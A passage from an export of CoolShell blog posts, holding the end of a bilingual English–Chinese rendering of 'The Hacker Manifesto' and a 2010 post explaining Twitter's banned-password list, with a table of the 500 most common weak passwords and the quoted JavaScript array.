head…”</p>\n<p>我初中高中时候就是如此了。白痴老师一个分式化简要解释15次。这些我全懂。所以我说”不用了，XX老师，我不用写这些步骤，我可以心算…”</p>\n<p>Damn kid.  Probably copied it.  They’re all alike.</p>\n<p>一帮傻同学，估计都只知道抄写老师的板书，一棒子二百五。</p>\n<p>I made a discovery today.  I found a computer.  Wait a second, this is cool.  It does what I want it to.  If it makes a mistake, it’s because I screwed it up.  Not because it doesn’t like me…</p>\n<p>今天我发现新大陆了。我遇到了一台计算机。真是太酷了，计算机完全按照我的指令执行。如果计算机犯了错，是因为我没搞对。而不是因为它不喜欢我…</p>\n<p>Or feels threatened by me…</p>\n<p>也不是觉得我成绩太好到威胁它了，也不是因为我是个自是聪明自以为是，而且不对我教条主义</p>\n<p>Or thinks I’m a smart ass…</p>\n<p>Or doesn’t like teaching and shouldn’t be here…</p>\n<p>Damn kid.  All he does is play games.  They’re all alike.</p>\n<p>而我的一帮傻逼同学，都他妈只知道玩。</p>\n<p>And then it happened… a door opened to a world… rushing through the phone line like heroin through an addict’s veins, an electronic pulse is sent out, a refuge from the day-to-day incompetencies is sought… a board is found.</p>\n<p>突然，与计算机相处为我打开了一扇通往另一个世界的门。一股电脉冲从电话线传送出去，就好像海洛因冲过毒瘾者的血脉，我可以逃离那帮子傻逼，一个新大陆！</p>\n<p>“This is it… this is where I belong…”</p>\n<p>是的！计算机是我的归属。</p>\n<p>I know everyone here… even if I’ve never met them, never talked to them, may never hear from them again… I know you all…</p>\n<p>在这个世界里，我认识这里的每一个人…虽然我并没有跟他们见面，没跟他们交谈，也许以后也不会再提到他们的消息。但是他们对我是那么的熟悉。</p>\n<p>Damn kid.  Tying up the phone line again.  They’re all alike…</p>\n<p>一棒子傻逼，大概他们又把我的电话线打结了。</p>\n<p>You bet your ass we’re all alike… we’ve been spoon-fed baby food at school when we hungered for steak… the bits of meat that you did let slip through were pre-chewed and tasteless.  We’ve been dominated by sadists, or ignored by the apathetic.  The few that had something to teach found us willing pupils, but those few are like drops of water in the desert.</p>\n<p>是的，我们黑客都差不多…我们智力高度成熟，我们想啃牛排的时候只有被喂婴儿食物。好不容易有点肉吃，也是被嚼烂了的。我们被虐待狂欺负，被冷漠者漠视。偶尔有好人理解我们其实是最好学的学生，但是这种人少得跟沙漠中的水滴一样。</p>\n<p>This is our world now… the world of the electron and the switch, the beauty of the baud.  We make use of a service already existing without paying for what could be dirt-cheap if it wasn’t run by profiteering gluttons, and you call us criminals.  We explore… and you call us criminals.  We seek after knowledge… and you call us criminals.  We exist without skin color, without nationality, without religious bias… and you call us criminals.</p>\n<p>You build atomic bombs, you wage wars, you murder, cheat, and lie to us and try to make us believe it’s for our own good, yet we’re the criminals.</p>\n<p>我们这些黑客长大了…这个世界充满着电子，开关，和美丽的波特（信号传输单位）。我们并不是在犯罪，我们只是在免费使用服务，这些服务要不是因为那些敛财狂本可以是非常廉价的。我们在探索…可你们说我们是在犯罪。我们是在寻求知识…可你们说我们是在犯罪。我们黑客无处不在，不分肤色，没有国界，没有宗教偏见…可你们说我们是在犯罪。你们这些伪君子制造了原子弹，发动战争，某战争，不忠，并且对我们说谎；你们居然说你们的行径是为我们好，而我们黑客是犯罪分子。</p>\n<p>Yes, I am a criminal.  My crime is that of curiosity.  My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me for.</p>\n<p>好吧，我是犯罪分子。我所犯的最是好奇心。我的罪过是基于一个人的言行评判一个人，而不是他的长相。我的罪过是我比你聪明，而你大概永远不会原谅我比你聪明。</p>\n<p>I am a hacker, and this is my manifesto.  You may stop this individual, but you can’t stop us all… after all, we’re all alike.</p>\n<p>我是一名黑客，以上是我的宣言。你可以制止一个个体，但是你阻止不了我们全部…因为，我们黑客都一样。</p>\n<p>+++The Mentor+++</p>\n<p>署名：导师</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2439.html\">黑客的价值观</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-5-20 Twitter的禁用口令.html",
    "content": "<html><body><p>打开Twitter的注册页面，<a href=\"https://twitter.com/signup\" target=\"_blank\">https://twitter.com/signup</a>，查看一下源码，你会看到一个很长的禁用口令列表（见本文最下面），其中的某些口令的确很雷人。你可以参看本站的《<a href=\"https://coolshell.cn/articles/2428.html\" title=\"如何管理并设计你的口令\">如何管理并设计你的口令</a>》来设计和管理你的口令。其中的某些口令需要向你解释一下：</p>\n<ul>\n<li><strong>ncc1701</strong> 这是星际迷航中的战舰号。</li>\n<li><strong>thx1138</strong> 这是乔治卢卡斯的第一个电影，1971年，其学生时代的作品。</li>\n<li><strong>qazwsx</strong> 这是键盘的布局顺序键。</li>\n<li><strong>666666</strong> 这是6个6</li>\n<li><strong>7777777</strong> 这是7个7</li>\n<li><strong>ou812</strong> 这是1988范 海伦Van Halen 专辑</li>\n<li><strong>8675309</strong> 这是 1982 Tommy Tutone song歌中提到的数字。这首歌导致人们开始播打电话867- 5309 寻找 “Jenny”</li>\n</ul>\n<p>经过统计，9个人里就有1个人会使用下面这个列表中的一个口令，而50个人就会有1个人使用top 20里的一个口令。你可能会问，top20是怎么来的？而twitter这个列表又是哪里来的？请看下面的表格。这是top 500最烂的口令列表。其来源是<a href=\"http://www.whatsmypass.com/the-top-500-worst-passwords-of-all-time\" target=\"_blank\">这里</a>。</p>\n<p><span id=\"more-2451\"></span></p>\n<table>\n<tbody>\n<tr>\n<td>NO</td>\n<td>Top 1-100</td>\n<td>Top 101–200</td>\n<td>Top 201–300</td>\n<td>Top 301–400</td>\n<td>Top 401–500</td>\n</tr>\n<tr>\n<td>1</td>\n<td>123456</td>\n<td>porsche</td>\n<td>firebird</td>\n<td>prince</td>\n<td>rosebud</td>\n</tr>\n<tr>\n<td>2</td>\n<td>password</td>\n<td>guitar</td>\n<td>butter</td>\n<td>beach</td>\n<td>jaguar</td>\n</tr>\n<tr>\n<td>3</td>\n<td>12345678</td>\n<td>chelsea</td>\n<td>united</td>\n<td>amateur</td>\n<td>great</td>\n</tr>\n<tr>\n<td>4</td>\n<td>1234</td>\n<td>black</td>\n<td>turtle</td>\n<td>7777777</td>\n<td>cool</td>\n</tr>\n<tr>\n<td>5</td>\n<td>pussy</td>\n<td>diamond</td>\n<td>steelers</td>\n<td>muffin</td>\n<td>cooper</td>\n</tr>\n<tr>\n<td>6</td>\n<td>12345</td>\n<td>nascar</td>\n<td>tiffany</td>\n<td>redsox</td>\n<td>1313</td>\n</tr>\n<tr>\n<td>7</td>\n<td>dragon</td>\n<td>jackson</td>\n<td>zxcvbn</td>\n<td>star</td>\n<td>scorpio</td>\n</tr>\n<tr>\n<td>8</td>\n<td>qwerty</td>\n<td>cameron</td>\n<td>tomcat</td>\n<td>testing</td>\n<td>mountain</td>\n</tr>\n<tr>\n<td>9</td>\n<td>696969</td>\n<td>654321</td>\n<td>golf</td>\n<td>shannon</td>\n<td>madison</td>\n</tr>\n<tr>\n<td>10</td>\n<td>mustang</td>\n<td>computer</td>\n<td>bond007</td>\n<td>murphy</td>\n<td>987654</td>\n</tr>\n<tr>\n<td>11</td>\n<td>letmein</td>\n<td>amanda</td>\n<td>bear</td>\n<td>frank</td>\n<td>brazil</td>\n</tr>\n<tr>\n<td>12</td>\n<td>baseball</td>\n<td>wizard</td>\n<td>tiger</td>\n<td>hannah</td>\n<td>lauren</td>\n</tr>\n<tr>\n<td>13</td>\n<td>master</td>\n<td>xxxxxxxx</td>\n<td>doctor</td>\n<td>dave</td>\n<td>japan</td>\n</tr>\n<tr>\n<td>14</td>\n<td>michael</td>\n<td>money</td>\n<td>gateway</td>\n<td>eagle1</td>\n<td>naked</td>\n</tr>\n<tr>\n<td>15</td>\n<td>football</td>\n<td>phoenix</td>\n<td>gators</td>\n<td>11111</td>\n<td>squirt</td>\n</tr>\n<tr>\n<td>16</td>\n<td>shadow</td>\n<td>mickey</td>\n<td>angel</td>\n<td>mother</td>\n<td>stars</td>\n</tr>\n<tr>\n<td>17</td>\n<td>monkey</td>\n<td>bailey</td>\n<td>junior</td>\n<td>nathan</td>\n<td>apple</td>\n</tr>\n<tr>\n<td>18</td>\n<td>abc123</td>\n<td>knight</td>\n<td>thx1138</td>\n<td>raiders</td>\n<td>alexis</td>\n</tr>\n<tr>\n<td>19</td>\n<td>pass</td>\n<td>iceman</td>\n<td>porno</td>\n<td>steve</td>\n<td>aaaa</td>\n</tr>\n<tr>\n<td>20</td>\n<td>fuckme</td>\n<td>tigers</td>\n<td>badboy</td>\n<td>forever</td>\n<td>bonnie</td>\n</tr>\n<tr>\n<td>21</td>\n<td>6969</td>\n<td>purple</td>\n<td>debbie</td>\n<td>angela</td>\n<td>peaches</td>\n</tr>\n<tr>\n<td>22</td>\n<td>jordan</td>\n<td>andrea</td>\n<td>spider</td>\n<td>viper</td>\n<td>jasmine</td>\n</tr>\n<tr>\n<td>23</td>\n<td>harley</td>\n<td>horny</td>\n<td>melissa</td>\n<td>ou812</td>\n<td>kevin</td>\n</tr>\n<tr>\n<td>24</td>\n<td>ranger</td>\n<td>dakota</td>\n<td>booger</td>\n<td>jake</td>\n<td>matt</td>\n</tr>\n<tr>\n<td>25</td>\n<td>iwantu</td>\n<td>aaaaaa</td>\n<td>1212</td>\n<td>lovers</td>\n<td>qwertyui</td>\n</tr>\n<tr>\n<td>26</td>\n<td>jennifer</td>\n<td>player</td>\n<td>flyers</td>\n<td>suckit</td>\n<td>danielle</td>\n</tr>\n<tr>\n<td>27</td>\n<td>hunter</td>\n<td>sunshine</td>\n<td>fish</td>\n<td>gregory</td>\n<td>beaver</td>\n</tr>\n<tr>\n<td>28</td>\n<td>fuck</td>\n<td>morgan</td>\n<td>porn</td>\n<td>buddy</td>\n<td>4321</td>\n</tr>\n<tr>\n<td>29</td>\n<td>2000</td>\n<td>starwars</td>\n<td>matrix</td>\n<td>whatever</td>\n<td>4128</td>\n</tr>\n<tr>\n<td>30</td>\n<td>test</td>\n<td>boomer</td>\n<td>teens</td>\n<td>young</td>\n<td>runner</td>\n</tr>\n<tr>\n<td>31</td>\n<td>batman</td>\n<td>cowboys</td>\n<td>scooby</td>\n<td>nicholas</td>\n<td>swimming</td>\n</tr>\n<tr>\n<td>32</td>\n<td>trustno1</td>\n<td>edward</td>\n<td>jason</td>\n<td>lucky</td>\n<td>dolphin</td>\n</tr>\n<tr>\n<td>33</td>\n<td>thomas</td>\n<td>charles</td>\n<td>walter</td>\n<td>helpme</td>\n<td>gordon</td>\n</tr>\n<tr>\n<td>34</td>\n<td>tigger</td>\n<td>girls</td>\n<td>cumshot</td>\n<td>jackie</td>\n<td>casper</td>\n</tr>\n<tr>\n<td>35</td>\n<td>robert</td>\n<td>booboo</td>\n<td>boston</td>\n<td>monica</td>\n<td>stupid</td>\n</tr>\n<tr>\n<td>36</td>\n<td>access</td>\n<td>coffee</td>\n<td>braves</td>\n<td>midnight</td>\n<td>shit</td>\n</tr>\n<tr>\n<td>37</td>\n<td>love</td>\n<td>xxxxxx</td>\n<td>yankee</td>\n<td>college</td>\n<td>saturn</td>\n</tr>\n<tr>\n<td>38</td>\n<td>buster</td>\n<td>bulldog</td>\n<td>lover</td>\n<td>baby</td>\n<td>gemini</td>\n</tr>\n<tr>\n<td>39</td>\n<td>1234567</td>\n<td>ncc1701</td>\n<td>barney</td>\n<td>cunt</td>\n<td>apples</td>\n</tr>\n<tr>\n<td>40</td>\n<td>soccer</td>\n<td>rabbit</td>\n<td>victor</td>\n<td>brian</td>\n<td>august</td>\n</tr>\n<tr>\n<td>41</td>\n<td>hockey</td>\n<td>peanut</td>\n<td>tucker</td>\n<td>mark</td>\n<td>3333</td>\n</tr>\n<tr>\n<td>42</td>\n<td>killer</td>\n<td>john</td>\n<td>princess</td>\n<td>startrek</td>\n<td>canada</td>\n</tr>\n<tr>\n<td>43</td>\n<td>george</td>\n<td>johnny</td>\n<td>mercedes</td>\n<td>sierra</td>\n<td>blazer</td>\n</tr>\n<tr>\n<td>44</td>\n<td>sexy</td>\n<td>gandalf</td>\n<td>5150</td>\n<td>leather</td>\n<td>cumming</td>\n</tr>\n<tr>\n<td>45</td>\n<td>andrew</td>\n<td>spanky</td>\n<td>doggie</td>\n<td>232323</td>\n<td>hunting</td>\n</tr>\n<tr>\n<td>46</td>\n<td>charlie</td>\n<td>winter</td>\n<td>zzzzzz</td>\n<td>4444</td>\n<td>kitty</td>\n</tr>\n<tr>\n<td>47</td>\n<td>superman</td>\n<td>brandy</td>\n<td>gunner</td>\n<td>beavis</td>\n<td>rainbow</td>\n</tr>\n<tr>\n<td>48</td>\n<td>asshole</td>\n<td>compaq</td>\n<td>horney</td>\n<td>bigcock</td>\n<td>112233</td>\n</tr>\n<tr>\n<td>49</td>\n<td>fuckyou</td>\n<td>carlos</td>\n<td>bubba</td>\n<td>happy</td>\n<td>arthur</td>\n</tr>\n<tr>\n<td>50</td>\n<td>dallas</td>\n<td>tennis</td>\n<td>2112</td>\n<td>sophie</td>\n<td>cream</td>\n</tr>\n<tr>\n<td>51</td>\n<td>jessica</td>\n<td>james</td>\n<td>fred</td>\n<td>ladies</td>\n<td>calvin</td>\n</tr>\n<tr>\n<td>52</td>\n<td>panties</td>\n<td>mike</td>\n<td>johnson</td>\n<td>naughty</td>\n<td>shaved</td>\n</tr>\n<tr>\n<td>53</td>\n<td>pepper</td>\n<td>brandon</td>\n<td>xxxxx</td>\n<td>giants</td>\n<td>surfer</td>\n</tr>\n<tr>\n<td>54</td>\n<td>1111</td>\n<td>fender</td>\n<td>tits</td>\n<td>booty</td>\n<td>samson</td>\n</tr>\n<tr>\n<td>55</td>\n<td>austin</td>\n<td>anthony</td>\n<td>member</td>\n<td>blonde</td>\n<td>kelly</td>\n</tr>\n<tr>\n<td>56</td>\n<td>william</td>\n<td>blowme</td>\n<td>boobs</td>\n<td>fucked</td>\n<td>paul</td>\n</tr>\n<tr>\n<td>57</td>\n<td>daniel</td>\n<td>ferrari</td>\n<td>donald</td>\n<td>golden</td>\n<td>mine</td>\n</tr>\n<tr>\n<td>58</td>\n<td>golfer</td>\n<td>cookie</td>\n<td>bigdaddy</td>\n<td>0</td>\n<td>king</td>\n</tr>\n<tr>\n<td>59</td>\n<td>summer</td>\n<td>chicken</td>\n<td>bronco</td>\n<td>fire</td>\n<td>racing</td>\n</tr>\n<tr>\n<td>60</td>\n<td>heather</td>\n<td>maverick</td>\n<td>penis</td>\n<td>sandra</td>\n<td>5555</td>\n</tr>\n<tr>\n<td>61</td>\n<td>hammer</td>\n<td>chicago</td>\n<td>voyager</td>\n<td>pookie</td>\n<td>eagle</td>\n</tr>\n<tr>\n<td>62</td>\n<td>yankees</td>\n<td>joseph</td>\n<td>rangers</td>\n<td>packers</td>\n<td>hentai</td>\n</tr>\n<tr>\n<td>63</td>\n<td>joshua</td>\n<td>diablo</td>\n<td>birdie</td>\n<td>einstein</td>\n<td>newyork</td>\n</tr>\n<tr>\n<td>64</td>\n<td>maggie</td>\n<td>sexsex</td>\n<td>trouble</td>\n<td>dolphins</td>\n<td>little</td>\n</tr>\n<tr>\n<td>65</td>\n<td>biteme</td>\n<td>hardcore</td>\n<td>white</td>\n<td>0</td>\n<td>redwings</td>\n</tr>\n<tr>\n<td>66</td>\n<td>enter</td>\n<td>666666</td>\n<td>topgun</td>\n<td>chevy</td>\n<td>smith</td>\n</tr>\n<tr>\n<td>67</td>\n<td>ashley</td>\n<td>willie</td>\n<td>bigtits</td>\n<td>winston</td>\n<td>sticky</td>\n</tr>\n<tr>\n<td>68</td>\n<td>thunder</td>\n<td>welcome</td>\n<td>bitches</td>\n<td>warrior</td>\n<td>cocacola</td>\n</tr>\n<tr>\n<td>69</td>\n<td>cowboy</td>\n<td>chris</td>\n<td>green</td>\n<td>sammy</td>\n<td>animal</td>\n</tr>\n<tr>\n<td>70</td>\n<td>silver</td>\n<td>panther</td>\n<td>super</td>\n<td>slut</td>\n<td>broncos</td>\n</tr>\n<tr>\n<td>71</td>\n<td>richard</td>\n<td>yamaha</td>\n<td>qazwsx</td>\n<td>8675309</td>\n<td>private</td>\n</tr>\n<tr>\n<td>72</td>\n<td>fucker</td>\n<td>justin</td>\n<td>magic</td>\n<td>zxcvbnm</td>\n<td>skippy</td>\n</tr>\n<tr>\n<td>73</td>\n<td>orange</td>\n<td>banana</td>\n<td>lakers</td>\n<td>nipples</td>\n<td>marvin</td>\n</tr>\n<tr>\n<td>74</td>\n<td>merlin</td>\n<td>driver</td>\n<td>rachel</td>\n<td>power</td>\n<td>blondes</td>\n</tr>\n<tr>\n<td>75</td>\n<td>michelle</td>\n<td>marine</td>\n<td>slayer</td>\n<td>victoria</td>\n<td>enjoy</td>\n</tr>\n<tr>\n<td>76</td>\n<td>corvette</td>\n<td>angels</td>\n<td>scott</td>\n<td>asdfgh</td>\n<td>girl</td>\n</tr>\n<tr>\n<td>77</td>\n<td>bigdog</td>\n<td>fishing</td>\n<td>2222</td>\n<td>vagina</td>\n<td>apollo</td>\n</tr>\n<tr>\n<td>78</td>\n<td>cheese</td>\n<td>david</td>\n<td>asdf</td>\n<td>toyota</td>\n<td>parker</td>\n</tr>\n<tr>\n<td>79</td>\n<td>matthew</td>\n<td>maddog</td>\n<td>video</td>\n<td>travis</td>\n<td>qwert</td>\n</tr>\n<tr>\n<td>80</td>\n<td>121212</td>\n<td>hooters</td>\n<td>london</td>\n<td>hotdog</td>\n<td>time</td>\n</tr>\n<tr>\n<td>81</td>\n<td>patrick</td>\n<td>wilson</td>\n<td>7777</td>\n<td>paris</td>\n<td>sydney</td>\n</tr>\n<tr>\n<td>82</td>\n<td>martin</td>\n<td>butthead</td>\n<td>marlboro</td>\n<td>rock</td>\n<td>women</td>\n</tr>\n<tr>\n<td>83</td>\n<td>freedom</td>\n<td>dennis</td>\n<td>srinivas</td>\n<td>xxxx</td>\n<td>voodoo</td>\n</tr>\n<tr>\n<td>84</td>\n<td>ginger</td>\n<td>fucking</td>\n<td>internet</td>\n<td>extreme</td>\n<td>magnum</td>\n</tr>\n<tr>\n<td>85</td>\n<td>blowjob</td>\n<td>captain</td>\n<td>action</td>\n<td>redskins</td>\n<td>juice</td>\n</tr>\n<tr>\n<td>86</td>\n<td>nicole</td>\n<td>bigdick</td>\n<td>carter</td>\n<td>erotic</td>\n<td>abgrtyu</td>\n</tr>\n<tr>\n<td>87</td>\n<td>sparky</td>\n<td>chester</td>\n<td>jasper</td>\n<td>dirty</td>\n<td>777777</td>\n</tr>\n<tr>\n<td>88</td>\n<td>yellow</td>\n<td>smokey</td>\n<td>monster</td>\n<td>ford</td>\n<td>dreams</td>\n</tr>\n<tr>\n<td>89</td>\n<td>camaro</td>\n<td>xavier</td>\n<td>teresa</td>\n<td>freddy</td>\n<td>maxwell</td>\n</tr>\n<tr>\n<td>90</td>\n<td>secret</td>\n<td>steven</td>\n<td>jeremy</td>\n<td>arsenal</td>\n<td>music</td>\n</tr>\n<tr>\n<td>91</td>\n<td>dick</td>\n<td>viking</td>\n<td>11111111</td>\n<td>access14</td>\n<td>rush2112</td>\n</tr>\n<tr>\n<td>92</td>\n<td>falcon</td>\n<td>snoopy</td>\n<td>bill</td>\n<td>wolf</td>\n<td>russia</td>\n</tr>\n<tr>\n<td>93</td>\n<td>taylor</td>\n<td>blue</td>\n<td>crystal</td>\n<td>nipple</td>\n<td>scorpion</td>\n</tr>\n<tr>\n<td>94</td>\n<td>111111</td>\n<td>eagles</td>\n<td>peter</td>\n<td>iloveyou</td>\n<td>rebecca</td>\n</tr>\n<tr>\n<td>95</td>\n<td>131313</td>\n<td>winner</td>\n<td>pussies</td>\n<td>alex</td>\n<td>tester</td>\n</tr>\n<tr>\n<td>96</td>\n<td>123123</td>\n<td>samantha</td>\n<td>cock</td>\n<td>florida</td>\n<td>mistress</td>\n</tr>\n<tr>\n<td>97</td>\n<td>bitch</td>\n<td>house</td>\n<td>beer</td>\n<td>eric</td>\n<td>phantom</td>\n</tr>\n<tr>\n<td>98</td>\n<td>hello</td>\n<td>miller</td>\n<td>rocket</td>\n<td>legend</td>\n<td>billy</td>\n</tr>\n<tr>\n<td>99</td>\n<td>scooter</td>\n<td>flower</td>\n<td>theman</td>\n<td>movie</td>\n<td>6666</td>\n</tr>\n<tr>\n<td>100</td>\n<td>please</td>\n<td>jack</td>\n<td>oliver</td>\n<td>success</td>\n<td>albert</td>\n</tr>\n</tbody>\n</table>\n<p>打开twitter注册页看到的禁用口令</p>\n<p>//&lt;![CDATA[ twttr.BANNED_PASSWORDS = [“000000”, “111111”, “11111111”, “112233”, “121212”, “123123”, “123456”, “1234567”, “12345678”, “123456789”, “131313”, “232323”, “654321”, “666666”, “696969”, “777777”, “7777777”, “8675309”, “987654”, “aaaaaa”, “abc123”, “abc123”, “abcdef”, “abgrtyu”, “access”, “access14”, “action”, “albert”, “alberto”, “alexis”, “alejandra”, “alejandro”, “amanda”, “amateur”, “america”, “andrea”, “andrew”, “angela”, “angels”, “animal”, “anthony”, “apollo”, “apples”, “arsenal”, “arthur”, “asdfgh”, “asdfgh”, “ashley”, “asshole”, “august”, “austin”, “badboy”, “bailey”, “banana”, “barney”, “baseball”, “batman”, “beatriz”, “beaver”, “beavis”, “bigcock”, “bigdaddy”, “bigdick”, “bigdog”, “bigtits”, “birdie”, “bitches”, “biteme”, “blazer”, “blonde”, “blondes”, “blowjob”, “blowme”, “bond007”, “bonita”, “bonnie”, “booboo”, “booger”, “boomer”, “boston”, “brandon”, “brandy”, “braves”, “brazil”, “bronco”, “broncos”, “bulldog”, “buster”, “butter”, “butthead”, “calvin”, “camaro”, “cameron”, “canada”, “captain”, “carlos”, “carter”, “casper”, “charles”, “charlie”, “cheese”, “chelsea”, “chester”, “chicago”, “chicken”, “cocacola”, “coffee”, “college”, “compaq”, “computer”, “cookie”, “cooper”, “corvette”, “cowboy”, “cowboys”, “crystal”, “cumming”, “cumshot”, “dakota”, “dallas”, “daniel”, “danielle”, “debbie”, “dennis”, “diablo”, “diamond”, “doctor”, “doggie”, “dolphin”, “dolphins”, “donald”, “dragon”, “dreams”, “driver”, “eagle1”, “eagles”, “edward”, “einstein”, “erotic”, “estrella”, “extreme”, “falcon”, “fender”, “ferrari”, “firebird”, “fishing”, “florida”, “flower”, “flyers”, “football”, “forever”, “freddy”, “freedom”, “fucked”, “fucker”, “fucking”, “fuckme”, “fuckyou”, “gandalf”, “gateway”, “gators”, “gemini”, “george”, “giants”, “ginger”, “golden”, “golfer”, “gordon”, “gregory”, “guitar”, “gunner”, “hammer”, “hannah”, “hardcore”, “harley”, “heather”, “helpme”, “hentai”, “hockey”, “hooters”, “horney”, “hotdog”, “hunter”, “hunting”, “iceman”, “iloveyou”, “internet”, “iwantu”, “jackie”, “jackson”, “jaguar”, “jasmine”, “jasper”, “jennifer”, “jeremy”, “jessica”, “johnny”, “johnson”, “jordan”, “joseph”, “joshua”, “junior”, “justin”, “killer”, “knight”, “ladies”, “lakers”, “lauren”, “leather”, “legend”, “letmein”, “letmein”, “little”, “london”, “lovers”, “maddog”, “madison”, “maggie”, “magnum”, “marine”, “mariposa”, “marlboro”, “martin”, “marvin”, “master”, “matrix”, “matthew”, “maverick”, “maxwell”, “melissa”, “member”, “mercedes”, “merlin”, “michael”, “michelle”, “mickey”, “midnight”, “miller”, “mistress”, “monica”, “monkey”, “monkey”, “monster”, “morgan”, “mother”, “mountain”, “muffin”, “murphy”, “mustang”, “naked”, “nascar”, “nathan”, “naughty”, “ncc1701”, “newyork”, “nicholas”, “nicole”, “nipple”, “nipples”, “oliver”, “orange”, “packers”, “panther”, “panties”, “parker”, “password”, “password”, “password1”, “password12”, “password123”, “patrick”, “peaches”, “peanut”, “pepper”, “phantom”, “phoenix”, “player”, “please”, “pookie”, “porsche”, “prince”, “princess”, “private”, “purple”, “pussies”, “qazwsx”, “qwerty”, “qwertyui”, “rabbit”, “rachel”, “racing”, “raiders”, “rainbow”, “ranger”, “rangers”, “rebecca”, “redskins”, “redsox”, “redwings”, “richard”, “robert”, “roberto”, “rocket”, “rosebud”, “runner”, “rush2112”, “russia”, “samantha”, “sammy”, “samson”, “sandra”, “saturn”, “scooby”, “scooter”, “scorpio”, “scorpion”, “sebastian”, “secret”, “sexsex”, “shadow”, “shannon”, “shaved”, “sierra”, “silver”, “skippy”, “slayer”, “smokey”, “snoopy”, “soccer”, “sophie”, “spanky”, “sparky”, “spider”, “squirt”, “srinivas”, “startrek”, “starwars”, “steelers”, “steven”, “sticky”, “stupid”, “success”, “suckit”, “summer”, “sunshine”, “superman”, “surfer”, “swimming”, “sydney”, “tequiero”, “taylor”, “tennis”, “teresa”, “tester”, “testing”, “theman”, “thomas”, “thunder”, “thx1138”, “tiffany”, “tigers”, “tigger”, “tomcat”, “topgun”, “toyota”, “travis”, “trouble”, “trustno1”, “tucker”, “turtle”, “twitter”, “united”, “vagina”, “victor”, “victoria”, “viking”, “voodoo”, “voyager”, “walter”, “warrior”, “welcome”, “whatever”, “william”, “willie”, “wilson”, “winner”, “winston”, “winter”, “wizard”, “xavier”, “xxxxxx”, “xxxxxxxx”, “yamaha”, “yankee”, “yankees”, “yellow”, “zxcvbn”, “zxcvbnm”, “zzzzzz”];<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6193.html\"><img alt=\"CSDN明文口令泄露的启示\" height=\"150\" src=\"../wp-content/uploads/2011/12/63071edagw1doah4id8l4j-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6193.html\">CSDN明文口令泄露的启示</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5353.html\"><img alt=\"你会做Web上的用户登录功能吗？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a 